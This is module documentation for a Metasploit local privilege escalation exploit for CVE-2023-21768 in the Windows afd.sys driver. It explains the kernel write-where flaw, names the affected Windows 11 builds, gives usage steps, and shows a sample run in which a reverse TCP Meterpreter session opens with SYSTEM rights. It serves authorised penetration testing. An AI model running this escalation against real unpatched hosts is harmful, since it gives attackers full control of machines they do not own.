## Vulnerable Application

A vulnerability exists in the Windows Ancillary Function Driver for Winsock
(`afd.sys`) can be leveraged by an attacker to escalate privileges to those of
NT AUTHORITY\SYSTEM. Due to a flaw in `AfdNotifyRemoveIoCompletion`, it is
possible to create an arbitrary kernel Write-Where primitive, which can be used
to manipulate internal I/O ring structures and achieve local privilege
escalation.

This exploit only supports Windows 11 22H2 up to build 22621.963 (patched in
January 2023 updates).

### Installation And Setup
Windows 11 versions 22H2 (without the patch) are vulnerable out of the box.
This exploit module has been tested on Windows 11 versions 22H2 build 22621.525
and 22621.963.

## Options
No specific options to be set.

## Verification Steps

1. Start msfconsole
1. Get a Meterpreter session on a vulnerable host
1. Do: `use windows/local/cve_2023_21768_afd_lpe`
1. Set the `SESSION` and `PAYLOAD` options
1. Do: `run`
1. You should get a privileged session.

## Scenarios

### Windows 11 Version 22H2 Build 22621.963 x64
```
msf exploit(windows/local/cve_2023_21768_afd_lpe) > run verbose=true

[*] Started reverse TCP handler on 192.168.100.9:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Windows Build Number = 22621.963
[+] The target appears to be vulnerable.
[*] Launching netsh to host the DLL...
[+] Process 3748 launched.
[*] Reflectively injecting the DLL into 3748...
[*] Sending stage (200774 bytes) to 192.168.100.9
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 11 opened (192.168.100.9:4444 -> 192.168.100.9:55346) at 2023-03-27 18:46:08 +0200

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN11PRO
OS              : Windows 10 (10.0 Build 22621).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
```

